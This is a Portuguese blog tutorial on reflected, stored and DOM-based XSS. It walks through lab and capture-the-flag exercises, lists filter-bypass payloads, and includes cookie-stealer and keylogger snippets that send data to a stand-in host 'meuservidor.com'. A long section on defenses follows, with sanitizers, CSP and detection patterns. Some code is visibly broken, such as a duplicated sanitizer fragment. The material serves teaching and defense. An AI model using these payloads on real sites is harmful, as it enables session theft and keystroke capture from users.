XSS e HTML Injection - Tipos e Exploração
Entendendo Cross-Site Scripting: Reflected, Stored e DOM-based XSS com exemplos práticos
Entendendo XSS: Reflected, Stored e DOM-based
Se você já tentou fazer um input numa página web e viu seu texto aparecer na tela, provavelmente passou pela cabeça: “e se eu puder alterar o HTML ou botar um JavaScript aqui?”. Bem, essa curiosidade é exatamente o que leva ao XSS - Cross-Site Scripting.
O que é XSS?
XSS é quando conseguimos injetar código JavaScript numa aplicação web e fazer ele rodar no navegador de outras pessoas. Parece simples, mas as consequências podem ser gigantes:
- Roubo de cookies/sessões - Pegar login de outras pessoas
- Keylogger - Capturar tudo que a vítima digita
- Phishing - Criar formulários falsos na própria página
- Redirecionamentos - Mandar a pessoa pra site malicioso
- Defacement - Modificar completamente a aparência do site
O mais insidioso é que a vítima vê a URL original do site, então confia completamente.
Reflected XSS - O clássico
Como funciona: O servidor “reflete” de volta exatamente o que você enviou, sem filtrar nada. É tipo um espelho - você manda algo, ele mostra de volta na página.
Exemplo prático
Imagina uma página de pesquisa simples:
1
2
3
4
5
<!-- index.html -->
<form method="GET">
<input type="text" name="q" placeholder="Pesquisar...">
<input type="submit" value="Buscar">
</form>
- Formulário no HTML (frontend)
1
2
3
4
5
6
<!-- PHP no topo do arquivo -->
<?php
if (isset($_GET['q']) && !empty($_GET['q'])) {
echo "Você pesquisou por: " . $_GET['q'];
}
?>
- PHP no topo do arquivo (backend)
Testando a vulnerabilidade:
Primeiro, vamos ver se aceita injeção de HTML:
?q=<b>teste em negrito</b>
Se aparecer teste em negrito, temos confirmação de HTML injection. Agora o passo natural é testar tag script:
?q=<script>alert("XSS funcionando!")</script>
Bypass de filtros básicos:
Quando você testa XSS e o site bloqueia certas palavras, é hora de ser criativo. Vamos ver as formas de testar XSS:
1. Fechando tags existentes:
1
?q="><script>alert('bypass')</script>
Isso funciona porque muitas vezes seu input vai parar dentro de um atributo HTML tipo <input value="SEU_INPUT">. Quando você coloca ">, você fecha o atributo e a tag, podendo inserir HTML novo. É como “escapar” do contexto atual.
2. Usando event handlers em tags válidas:
1
?q=<img src=x onerror="alert('imagem com erro')">
O onerror dispara quando a imagem não carrega (e src=x obviamente não vai carregar). Funciona mesmo se bloquearem <script>.
3. SVG com JavaScript:
1
?q=<svg onload="alert('svg carregado')">
O SVG é HTML válido e o onload executa assim que o elemento carrega. Muitos filtros esquecem do SVG.
4. Outras técnicas (até algumas mais avançadas):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<!-- Se bloquearem aspas, usar / -->
?q=<script>alert(/XSS/)</script>
<!-- Se bloquearem "alert", usar confirm -->
?q=<script>confirm('XSS')</script>
<!-- Usando JavaScript: protocol -->
?q=<a href="javascript:alert('XSS')">clique</a>
<!-- Body onload -->
?q=<body onload="alert('XSS')">
<!-- Obfuscação real que funciona -->
?q=<script>alert('XSS')</script>
<!-- Decodifica para: <script>alert('XSS')</script> -->
<!-- URL encoding duplo -->
?q=%253Cscript%253Ealert(1)%253C%252Fscript%253E
<!-- JavaScript ofuscado com eval + base64 (técnica real) -->
?q=<img src=x onerror="eval(atob('YWxlcnQoMSk='))">
<!-- Base64 decodifica para: alert(1) -->
<!-- String.fromCharCode para burlar filtros de palavras -->
?q=<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>
<!-- Gera: alert(1) -->
<!-- Quebrar palavras com comentários HTML -->
?q=<scr<!---->ipt>alert(1)</scr<!---->ipt>
<!-- Case mixing (misturar maiúscula/minúscula) -->
?q=<ScRiPt>alert(1)</ScRiPt>
<!-- Abusando de whitespace e quebras de linha -->
?q=<script
>alert(1)</script
>
<!-- Usando caracteres unicode -->
?q=<script>alert\u0028\u0031\u0029</script>
Por que essas técnicas funcionam:
- HTML entities: Browsers decodificam automaticamente
<para< - URL encoding duplo: Alguns servidores decodificam duas vezes
- Base64 + eval:
eval()executa string decodificada, burlando filtros de texto - String.fromCharCode: Constrói string dinamicamente, evitando palavras-chave
- Comentários HTML: Quebram detecção de padrões
<script> - Case mixing: Filtros case-sensitive não detectam
- Whitespace: Quebra regex mal feitos
- Unicode: Representa caracteres de forma alternativa
Na prática: Essas técnicas de obfuscação são amplamente documentadas em plataformas como OWASP e relatórios de bug bounty - como os da hackerone -, sendo encontradas frequentemente nessas pesquisas de segurança.
Explorando na prática
Melhores formas para praticar seria criando a própria máquina vulnerável para entender como é feito, usar o site phpvuln e as máquinas de plataformas como tryhackme, hackthebox e até a própria hackingclub - que é o que usarei para neste documento. Outras plataformas excelentes serão recomendadas no final do documento, algumas valem MUITO a pena, viu?
Máquina criada localmente para simular XSS:
1
2
3
4
5
<!-- index.html -->
<form method="GET">
<input type="text" name="q" placeholder="Pesquisar...">
<input type="submit" value="Buscar">
</form>
1
2
3
4
5
6
<!-- PHP no topo do arquivo -->
<?php
if (isset($_GET['q']) && !empty($_GET['q'])) {
echo "Você pesquisou por: " . $_GET['q'];
}
?>
1
http://localhost:8888/index.php?q=<scrip>alert('XSS!!')</script>
O navegador vê <script> como código legítimo → executa → alert aparece.
Podemos tentar evitar isso no php ao utilizarmos htmlspecialchars
1
2
3
4
5
<?php
if (isset($_GET['q']) && !empty($_GET['q'])) {
echo "Você pesquisou por: " . htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8');
}
?>
Agora resolvendo as máquinas do hackingclub
No container de teste XSS Reflected (10.10.0.3) encontrei um formulário de contato que refletia dados na URL:
1
http://10.10.0.3/?name=matheus&email=matheus%40laidler.com&message=teste
- formulário normal
1
http://10.10.0.3/?name=<b>matheus</b>&email=matheus%40laidler.com&message=teste
- testando injeção html
1
http://10.10.0.3/?name=<script>alert('teste xss')</script>&email=matheus%40laidler.com&message=teste
- testando xss -> gerou flag no formulário
Resultado: Flag capturada! CS{XSS_R3fl3ct3d_34sy}
Roubo de sessão via cookie:
1
2
3
4
5
6
7
8
9
10
11
<!--
// Criar cookie de teste no F12
// document.cookie = "sessao=dados_secretos"
// Payload para roubar -->
<script>alert(document.cookie)</script>
<script>
// Enviando para servidor malicioso
fetch('http://meuservidor.com/roubar.php?cookie=' + document.cookie)
</script>
A pegadinha do Reflected XSS: Você precisa fazer a vítima clicar no seu link malicioso. Por isso funciona bem em phishing - “Clica aqui pra ver sua fatura” e o link tem a payload XSS. A vítima clica, a página executa seu JavaScript, e você rouba a sessão dela.
Stored XSS - O persistente
Como funciona: Sua payload fica salva no servidor (banco de dados, arquivo, etc) e executa toda vez que alguém acessa a página.
Por que é mais perigoso?
Stored XSS é como envenenar o fornecimento de água da cidade, ao invés de entregar um copo de água envenenado diretamente para o alvo (Reflected).
- Sem engenharia social - Você não precisa convencer ninguém a clicar em nada suspeito
- Atinge todos - Todo mundo que visita a página é afetado automaticamente
- Persistente - Sua payload fica lá funcionando 24/7 até alguém descobrir e remover
- Escala real - Se for um site popular, você pode afetar milhares de pessoas
Enquanto em um deles você precisa fazer engenharia social para convencer a pessoa a beber a água do copo, no outro você envenenou a fonte para que qualquer pessoa que beber, incluíndo seu alvo, irá ser afetada.
Exemplo prático
Testando o comment box que salva mensagens no servidor:
1
2
<!-- Primeiro teste: HTML injection -->
<b>Comentário em negrito</b>
Não funcionou imediatamente, apenas ao recarregar a página e fazer puxar do backend: apareceu em negrito. Confirmamos que temos HTML injection. Vamos tentar aplicar javascript:
1
2
<!-- Escalando para JavaScript -->
<script>alert('Stored XSS funcionando!')</script>
Agora qualquer pessoa que acessar essa página vai ter o script executando automaticamente.
Resultado: Flag capturada! CS{XSS_St0r3d_l1k3_4_b0ss}
Diferença técnica: O backend armazena nossa payload e serve ela pra todos os visitantes, não apenas reflete de volta.
DOM-based XSS - O invisível
Como funciona: A vulnerabilidade está no JavaScript do frontend, não no backend, ou seja, o servidor NUNCA verá a payload.
Por que DOM-based é diferente?
DOM-based XSS é como um assaltante que entra pela janela enquanto todo mundo está vigiando a porta da frente:
- Backend cego - O servidor nem sabe que tem JavaScript malicioso rodando
- Manipulação direta - O próprio JavaScript da página processa seus dados e se sabota
- Invisível nos logs - Não deixa rastro no servidor, só no navegador da vítima
- Mais difícil de encontrar - Ferramentas de scanner não detectam facilmente
Basicamente, você usa o próprio código JavaScript da página contra ela mesma.
Encontrando DOM XSS no container
Nesse container DOME do hackingclub temos com um campo de pesquisa que funcionava, printava na tela o que pesquisamos e refletia a pesquisa na url:
1
2
3
parametro url> 10.10.0.3/?search=teste
0 resultados para 'teste'
Inspecionando o código, vi que o “teste” nem aparecia no HTML fonte, como se teste fosse o valor de uma variável.
Então logo o código vulnerável foi encontrado:
1
2
3
4
5
6
7
8
9
10
11
12
13
<h1><span>0 results for '</span><span id="searchMessage"></span><span>'</span></h1>
<script>
function pesquisar(pesquisa) {
document.getElementById('searchMessage').innerHTML = pesquisa;
}
var pesquisa = (new URLSearchParams(window.location.search)).get('search');
if (pesquisa) {
pesquisar(pesquisa);
}
</script>
Um resumo rápido do que encontramos é o fato do front-end estar alterando o conteúdo da variável, o que queremos pesquisar está dentro de searchMessage e o maior problema está no innerHTML sem sanitização, permitindo injeção de payload XSS.
Testando injeção no paramertro da url:
1
?search=<b style="color: red">texto vermelho</b>
Funcionou! Agora JavaScript:
1
?search=<script>alert('DOM XSS funcionando!')</script>
Resultado: Flag capturada! CS{XSS_D0M_B4s3d}
Diferença técnica: O frontend manipula o DOM diretamente baseado nos parâmetros da URL, sem enviar nada pro servidor.
Payloads que realmente funcionam
Depois de testar XSS em diferentes laboratórios e sites, aqui estão alguns payloads que podem ter utilidade para seus estudos. Cada um tem sua especialidade, deixarei alguns abaixo com base no que apresentamos nesta documentação:
Básicos para teste
1
2
3
4
<script>alert('XSS')</script>
<img src=x onerror="alert('XSS')">
<svg onload="alert('XSS')">
<body onload="alert('XSS')">
Bypass de filtros
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<!-- Se bloquear "script" -->
<img src=x onerror="alert('bypass')">
<!-- Se bloquear "alert" -->
<script>confirm('bypass')</script>
<!-- Se bloquear aspas -->
<script>alert(/XSS/)</script>
<!-- Encoding -->
<script>alert(String.fromCharCode(88,83,83))</script>
<!-- Event handlers -->
<input onfocus="alert('XSS')" autofocus>
Cookie stealer
1
2
3
var cookie = document.cookie;
var img = new Image();
img.src = "http://meuservidor.com/roubar.php?cookie=" + cookie;
Keylogger básico
1
2
3
4
document.addEventListener('keypress', function(e) {
var img = new Image();
img.src = "http://meuservidor.com/keys.php?key=" + e.key;
});
Redirecionamento
1
window.location = "http://sitemalicioso.com";
Explorando diferentes tecnologias
Server-Side Template Injection (SSTI) que vira XSS:
Algumas aplicações usam template engines que podem ser explorados:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// Jinja2 (Python/Flask)
// Testa se executa (retorna 7777777)
// Vaza configurações
// Handlebars (Node.js)
// Angular (1.x)
GraphQL injection:
1
2
3
4
5
6
// Em queries GraphQL
{
user(id: "<img src=x onerror=alert(1)>") {
name
}
}
JSON injection em APIs:
1
2
3
4
{
"nome": "</script><script>alert('XSS')</script>",
"email": "test@test.com"
}
Esses vetores são específicos de cada tecnologia e requerem conhecimento da stack da aplicação.
Como não virar vítima (Proteção completa)
Agora que você sabe como explorar XSS, vamos ver como se defender de verdade. É tipo conhecer as táticas do ladrão para trancar a casa direito.
Regra número 1: Nunca confie no input do usuário
JAMAIS coloque dados vindos do usuário diretamente na página. Sempre trate, sempre valide, sempre suspeite. Se você só fizer isso, já evita 90% dos XSS.
Backend: A primeira linha de defesa
PHP - Sanitização inteligente:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
// ERRADO - Vulnerável
echo "Você pesquisou: " . $_GET['q'];
// CORRETO - Sanitização básica
$input = htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8');
echo "Você pesquisou: " . $input;
// AINDA MELHOR - Validação + sanitização contra obfuscação
function sanitizar_input_avancado($input) {
// Remove tags HTML completamente
$input = strip_tags($input);
// Decodifica HTML entities para detectar payloads ofuscados
$input = html_entity_decode($input, ENT_QUOTES, 'UTF-8');
// Decodifica URL encoding (uma vez)
$input = urldecode($input);
// Remove caracteres perigosos
$input = preg_replace('/[<>"\']/', '', $input);
// Bloqueia palavras-chave mesmo ofuscadas
$palavras_perigosas = ['script', 'javascript', 'eval', 'onclick', 'onerror', 'onload'];
foreach ($palavras_perigosas as $palavra) {
if (stripos($input, $palavra) !== false) {
return false; // Bloqueia input
}
}
// Remove caracteres de controle e unicode suspeitos
$input = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/', '', $input);
$input = preg_replace('/\\\\u[0-9a-fA-F]{4}/', '', $input);
return trim($input);
}
$pesquisa = sanitizar_input_avancado($_GET['q']);
if ($pesquisa === false) {
die('Input bloqueado por conter conteúdo suspeito');
}
// Validação por tipo de campo
function validar_email($email) {
return filter_var($email, FILTER_VALIDATE_EMAIL);
}
function validar_nome($nome) {
// Só letras, espaços e acentos
return preg_match('/^[a-zA-ZÀ-ÿ\s]+$/', $nome);
}
?>
Por que cada função?
htmlspecialchars(): Converte<em<, impedindo tags HTMLstrip_tags(): Remove todas as tags HTML de uma vezpreg_replace(): Remove caracteres específicos que podem quebrar contextotrim(): Remove espaços em branco que podem esconder payloads
Backend em outras linguagens
Node.js/JavaScript:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
const validator = require('validator');
const xss = require('xss');
// Sanitização básica
function sanitizarInput(input) {
// Remove HTML malicioso
input = xss(input, {
whiteList: {}, // Nenhuma tag permitida
stripIgnoreTag: true,
stripIgnoreTagBody: ['script']
});
// Validação adicional
return validator.escape(input);
}
// Express.js middleware
app.use((req, res, next) => {
Object.keys(req.body).forEach(key => {
if (typeof req.body[key] === 'string') {
req.body[key] = sanitizarInput(req.body[key]);
}
});
next();
});
Python/Django:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from django.utils.html import escape
from bleach import clean
import re
def sanitizar_input_avancado(input_data):
# Remove HTML malicioso com bleach
input_data = clean(input_data, tags=[], strip=True)
# Escape caracteres HTML
input_data = escape(input_data)
# Detecta obfuscação
patterns_suspeitos = [
r'eval\s*\(',
r'atob\s*\(',
r'fromCharCode',
r'javascript:',
r'\\u[0-9a-fA-F]{4}'
]
for pattern in patterns_suspeitos:
if re.search(pattern, input_data, re.IGNORECASE):
raise ValueError("Conteúdo suspeito detectado")
return input_data
# No Django views
from django.views.decorators.csrf import csrf_protect
@csrf_protect
def minha_view(request):
user_input = sanitizar_input_avancado(request.POST.get('input', ''))
Java/Spring:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import org.owasp.html.PolicyFactory;
import org.owasp.html.Sanitizers;
import org.springframework.web.util.HtmlUtils;
@Component
public class XSSProtection {
private final PolicyFactory policy = Sanitizers.FORMATTING.and(Sanitizers.LINKS);
public String sanitizarInput(String input) {
// Remove HTML malicioso
input = policy.sanitize(input);
// Escape caracteres HTML
input = HtmlUtils.htmlEscape(input);
// Detecta obfuscação
String[] patterns = {"eval(", "atob(", "fromCharCode", "javascript:"};
for (String pattern : patterns) {
if (input.toLowerCase().contains(pattern.toLowerCase())) {
throw new SecurityException("Conteúdo suspeito detectado");
}
}
return input;
}
}
// No Controller
@PostMapping("/dados")
public ResponseEntity<?> receberDados(@RequestBody String input) {
String inputLimpo = xssProtection.sanitizarInput(input);
// processar input limpo
}
React (frontend adicional):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import DOMPurify from 'dompurify';
// Componente seguro
function ComponenteSeguro({ userContent }) {
// NUNCA faça isto:
// return <div dangerouslySetInnerHTML= />
// Faça isto:
const conteudoLimpo = DOMPurify.sanitize(userContent);
return <div dangerouslySetInnerHTML= />
// Ou melhor ainda:
return <div>{userContent}</div> // React escapa automaticamente
}
// Hook personalizado para sanitização
function useSanitizedInput(input) {
const [sanitized, setSanitized] = useState('');
useEffect(() => {
const cleaned = DOMPurify.sanitize(input, {
ALLOWED_TAGS: [],
ALLOWED_ATTR: []
});
setSanitized(cleaned);
}, [input]);
return sanitized;
}
Configurações no servidor (.htaccess)
Coloque isso no seu .htaccess para uma proteção extra:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Bloquear caracteres perigosos na URL
RewriteEngine On
RewriteCond %{QUERY_STRING} [<>] [OR]
RewriteCond %{QUERY_STRING} javascript: [OR]
RewriteCond %{QUERY_STRING} <script [NC,OR]
RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} (<|%3C)([^s]*s)+cript.*(>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} (<|%3C).*iframe.*(>|%3E) [NC]
RewriteRule ^(.*)$ - [F,L]
# Headers de segurança
Header always set X-Content-Type-Options nosniff
Header always set X-Frame-Options DENY
Header always set X-XSS-Protection "1; mode=block"
# Content Security Policy básico
Header always set Content-Security-Policy "default-src 'self'; script-src 'self'"
Entendendo as camadas de defesa (e por que frontend sozinho não basta)
Você tocou num ponto importante: se a proteção está no frontend, não dá para contornar? Sim, dá. Por isso defesa em camadas é fundamental.
Camada 1 - Servidor (Backend):
- Sanitização e validação no servidor
- Não pode ser burlada pelo usuário
- Protege contra Reflected e Stored XSS
- Funciona mesmo se JavaScript estiver desabilitado
Camada 2 - Headers HTTP:
- CSP, X-XSS-Protection, X-Frame-Options
- Configurados no servidor, executados pelo browser
- Protege contra DOM-based XSS e ataques client-side
Camada 3 - Frontend:
- Sanitização JavaScript, uso correto de APIs
- Pode ser burlada se atacante controlar o cliente
- Protege usuários normais contra DOM-based XSS
- Funciona como última linha de defesa
Por que cada camada importa:
Se você burlar o frontend (desabilitando JavaScript, modificando código), ainda tem o backend bloqueando Reflected e Stored XSS. Se você conseguir injetar no banco (SQL injection + stored XSS), ainda tem o CSP bloqueando execução.
Exemplo prático de ataque vs defesa:
1
2
3
4
Ataque: <script>alert(1)</script>
├─ Frontend: Bloqueia se você não mexer no código
├─ Backend: Bloqueia sempre (htmlspecialchars)
└─ CSP: Bloqueia mesmo se passar backend (script-src 'self')
Se uma falhar, as outras seguram. É tipo ter 3 fechaduras na porta.
Content Security Policy (CSP) - A barreira definitiva
CSP é tipo um segurança na porta da balada - decide quem pode entrar e quem não pode:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<!-- Nível iniciante: só scripts do próprio site -->
<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
<!-- Nível intermediário: específico por tipo de conteúdo -->
<meta http-equiv="Content-Security-Policy"
content="default-src 'self';
script-src 'self' https://apis.google.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;">
<!-- Nível anti-obfuscação: máxima proteção -->
<meta http-equiv="Content-Security-Policy"
content="default-src 'self';
script-src 'self' 'nonce-123abc' 'sha256-hash';
script-src-attr 'none';
object-src 'none';
base-uri 'none';
require-trusted-types-for 'script';">
Proteção específica contra obfuscação:
script-src-attr 'none': Bloqueia TODOS os event handlers inline (onclick,onerror, etc)'nonce-123abc': Só scripts com nonce específico executam'sha256-hash': Só scripts com hash conhecido executamrequire-trusted-types-for 'script': Força uso de Trusted Types API
Como funciona na prática:
'self': Só do mesmo domínio'none': Nada permitido'unsafe-inline': Permite scripts inline (NUNCA use!)'unsafe-eval': Permite eval() (NUNCA use - usado em obfuscação!)- URLs específicas: Só de domínios confiáveis
- Nonce: Token único por página, impede XSS mesmo com HTML injection
Frontend: JavaScript seguro
!!! Perigoso - innerHTML:
1
2
// NUNCA faça isso com dados do usuário
document.getElementById('resultado').innerHTML = dadosDoUsuario;
+ Seguro (textContent):
1
2
3
4
5
6
7
8
9
// Sempre use textContent para texto simples
document.getElementById('resultado').textContent = dadosDoUsuario;
// Para HTML específico, sanitize antes
function sanitizarHTML(html) {
const div = document.createElement('div');
div.textContent = html;
return div.innerHTML;
}
Sanitização frontend contra obfuscação:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
function sanitizar_completo_anti_obfuscacao(input) {
// Decodifica HTML entities primeiro
const textarea = document.createElement('textarea');
textarea.innerHTML = input;
input = textarea.value;
// Decodifica URL encoding
try {
input = decodeURIComponent(input);
} catch(e) {
// Se falhar decodificação, input pode ser malicioso
return '';
}
// Remove scripts (inclusive ofuscados)
input = input.replace(/<script[\s\S]*?<\/script>/gi, '');
input = input.replace(/<scr[\s\S]*?ipt[\s\S]*?>/gi, ''); // scr<!---->ipt
// Remove TODOS os event handlers (principal vetor de obfuscação)
input = input.replace(/on\w+\s*=\s*["'][^"']*["']/gi, '');
input = input.replace(/on\w+\s*=\s*[^>\s]*/gi, '');
// Bloqueia javascript: protocol
input = input.replace(/javascript\s*:/gi, '');
// Remove eval, atob e fromCharCode (principais funções de obfuscação)
input = input.replace(/eval\s*\(/gi, '');
input = input.replace(/atob\s*\(/gi, '');
input = input.replace(/fromCharCode\s*\(/gi, '');
// Remove tags perigosas
const tagsPerigosas = ['script', 'iframe', 'object', 'embed', 'form', 'svg'];
tagsPerigosas.forEach(tag => {
const regex = new RegExp('<' + tag + '[^>]*>', 'gi');
input = input.replace(regex, '');
});
// Remove caracteres unicode suspeitos
input = input.replace(/\\u[0-9a-fA-F]{4}/g, '');
return input;
}
input = input.replace(/on\w+\s*=\s*["'][^"']*["']/gi, '');
// Remove javascript: protocol
input = input.replace(/javascript:/gi, '');
// Remove tags perigosas
const tagsPerigosas = ['script', 'iframe', 'object', 'embed', 'form'];
tagsPerigosas.forEach(tag => {
const regex = new RegExp('<' + tag + '\\b[^>]*>', 'gi');
input = input.replace(regex, '');
});
return input;
}
// Validação de URL antes de redirecionamento
function redirecionarSeguro(url) {
// Só permite URLs do mesmo domínio ou HTTPS
if (url.startsWith('/') || url.startsWith('https://seudominio.com')) {
window.location = url;
} else {
console.error('Redirecionamento bloqueado: ' + url);
}
}
Validação de entrada: Cada campo tem sua regra
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
function validar_por_campo($valor, $tipo) {
switch($tipo) {
case 'nome':
// Só letras, acentos e espaços
return preg_match('/^[a-zA-ZÀ-ÿ\s]{2,50}$/', $valor);
case 'email':
return filter_var($valor, FILTER_VALIDATE_EMAIL);
case 'telefone':
// Formato brasileiro
return preg_match('/^\(\d{2}\)\s\d{4,5}-\d{4}$/', $valor);
case 'comentario':
// Remove HTML, mantém texto
$limpo = strip_tags($valor);
return strlen($limpo) <= 500 ? $limpo : false;
case 'url':
return filter_var($valor, FILTER_VALIDATE_URL);
default:
return false;
}
}
// Uso prático
$nome = validar_por_campo($_POST['nome'], 'nome');
if ($nome === false) {
die('Nome inválido');
}
?>
Detectando obfuscação em tempo real
Como identificar tentativas de obfuscação:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
function detectar_obfuscacao($input) {
$indicadores_suspeitos = [
'eval(',
'atob(',
'fromCharCode',
'String.fromCharCode',
'javascript:',
'<!---->', // Quebra de palavras
'script>', // Possível obfuscação case
'\\u00', // Unicode escape
'%3C', // < encoded
'%3E', // > encoded
'base64'
];
$score_suspeita = 0;
foreach ($indicadores_suspeitos as $indicador) {
if (stripos($input, $indicador) !== false) {
$score_suspeita++;
}
}
// Se mais de 2 indicadores, muito suspeito
if ($score_suspeita >= 2) {
error_log("Tentativa de XSS ofuscado detectada: " . $input);
return true;
}
return false;
}
if (detectar_obfuscacao($_GET['input'])) {
die('Input bloqueado: conteúdo suspeito detectado');
}
?>
Headers de segurança essenciais
Configure seu servidor para enviar estes headers:
1
2
3
4
5
6
7
8
9
10
11
# Evita que o browser "adivinhe" o tipo de arquivo
X-Content-Type-Options: nosniff
# Impede carregamento em frames (clickjacking)
X-Frame-Options: DENY
# Ativa proteção XSS do browser (backup)
X-XSS-Protection: 1; mode=block
# Força HTTPS (se disponível)
Strict-Transport-Security: max-age=31536000; includeSubDomains
Escape por contexto: Lugar certo, proteção certa
Cada lugar da página precisa de escape diferente:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$usuario_input = "<script>alert('xss')</script>";
// Para HTML normal
echo htmlspecialchars($usuario_input, ENT_QUOTES, 'UTF-8');
// Saída: <script>alert('xss')</script>
// Para JavaScript (dentro de strings)
echo json_encode($usuario_input);
// Saída: "<script>alert('xss')<\/script>"
// Para URLs
echo urlencode($usuario_input);
// Saída: %3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E
// Para CSS (evite se possível)
function escapar_css($input) {
return preg_replace('/[^a-zA-Z0-9]/', '\\\\$0', $input);
}
?>
Proteção em camadas contra obfuscação
📋 Checklist anti-obfuscação:
✅ Decodificação preventiva: Sempre decodifique HTML entities e URL antes de validar
✅ Blacklist inteligente: Bloqueie eval, atob, fromCharCode, javascript:
✅ CSP restritivo: Use script-src-attr 'none' para bloquear event handlers
✅ Nonce/Hash: Force scripts específicos, impedindo injeção
✅ Monitoramento: Log tentativas de obfuscação para análise
✅ WAF configurado: Regras específicas para payloads ofuscados
🚨 Sinais de tentativa de obfuscação:
- Múltiplas codificações (URL + HTML + Unicode)
- Funções suspeitas (
eval,atob,fromCharCode) - Quebra de palavras com comentários HTML
- Unicode escapes (
\u0061paraa) - Base64 em contextos suspeitos
⚠️ Lembre-se: Atacantes sempre encontram novas formas de obfuscar. A defesa deve ser em camadas: validação + sanitização + CSP + monitoramento.
Bibliotecas que fazem o trabalho pesado
Para PHP:
- HTML Purifier: Sanitização HTML completa
- Twig: Template engine com escape automático
- Laminas\Escaper: Escape por contexto
Para JavaScript:
- DOMPurify: Sanitização HTML no frontend
- js-xss: Biblioteca específica para prevenir XSS
1
2
3
// Exemplo com DOMPurify
const dadosLimpos = DOMPurify.sanitize(dadosDoUsuario);
document.getElementById('conteudo').innerHTML = dadosLimpos;
Checklist final de proteção
✅ Input: Sempre valide e sanitize
✅ Output: Escape apropriado para cada contexto
✅ CSP: Configurado e restritivo
✅ Headers: X-XSS-Protection, X-Content-Type-Options
✅ HTTPS: Sempre que possível
✅ Atualização: Frameworks e bibliotecas atualizados
✅ Teste: Scanner de vulnerabilidades regular
O que NÃO funciona (mitos da segurança)
❌ “Só bloquear script resolve” - Existem dezenas de outras tags
❌ “Filtro no frontend é suficiente” - Cliente nunca é confiável
❌ “WAF resolve tudo” - É complemento, não solução única
❌ “Encoding resolve” - Só em contextos específicos
❌ “Blacklist é melhor” - Whitelist sempre ganha
Lembre-se: Segurança em geral se da por camadas. Uma proteção falha? As outras seguram. É como trancar a porta, janela E colocar alarme… paranóico, mas efetivo.
Ferramentas para testar XSS
Estas são as ferramentas que eu realmente uso (não é só lista de Wikipedia):
- Burp Suite - O canivete suíço. Intercepta e modifica requisições em tempo real
- XSSer - Scanner automático que testa centenas de payloads diferentes
- BeEF - Framework para controlar navegadores comprometidos (muito sinistro)
- OWASP ZAP - Alternativa gratuita ao Burp, ótima para começar
- Teclado - F12 no Browser - Nunca subestime as ferramentas do desenvolvedor do navegador
Labs para praticar sem quebrar a lei
Esses são os playgrounds onde você pode testar à vontade:
- DVWA - Damn Vulnerable Web Application (MT BOM)
- WebGoat - Labs oficiais da OWASP, muito didáticos
- XSS Game - Desafio interativo do Google
- bWAPP - Buggy Web Application com vários níveis
- PortSwigger Academy - Labs gratuitos da galera do Burp Suite
- TryHackMe - Máquinas com XSS + explicações básicas
- Hacking Club - Aulas e máquinas XSS (meu favorito)
- Acunetix Testphp - Site vulnerável para estudo
testphp.vulnweb.com
O que você precisa lembrar
Reflected XSS: O site “cospe” de volta o que você mandou → Precisa convencer a vítima a clicar
Stored XSS: Sua bomba fica plantada no servidor → Explode em todo mundo que visita
DOM-based XSS: O próprio JavaScript da página se sabota → Servidor nem percebe
A regra de ouro: Se você conseguir injetar HTML (tipo <b>negrito</b>), provavelmente consegue injetar JavaScript também. É só questão de criatividade para burlar os filtros.
Dica de ouro: Sempre teste primeiro com HTML simples. Se funcionar, escalade para JavaScript. Se não funcionar, não perca tempo com payloads complexos.
Flags capturadas nos testes:
- Reflected:
CS{XSS_R3fl3ct3d_34sy} - Stored:
CS{XSS_St0r3d_l1k3_4_b0ss} - DOM-based:
CS{XSS_D0M_B4s3d}
Lembre-se: XSS é sobre fazer o navegador da vítima executar código que você controlou. Uma vez que você entende isso, as possibilidades são infinitas.
Mas com grandes poderes vem grandes responsabilidades. Use esse conhecimento para:
- Proteger seus próprios projetos
- Fazer pentests autorizados
- Educar outros desenvolvedores
- Reportar vulnerabilidades de forma responsável
Nunca para atacar sites sem permissão. Além de crime, é desncessário - tem muito lab legal para praticar.
Agora é só partir para a prática!
Comments powered by Disqus.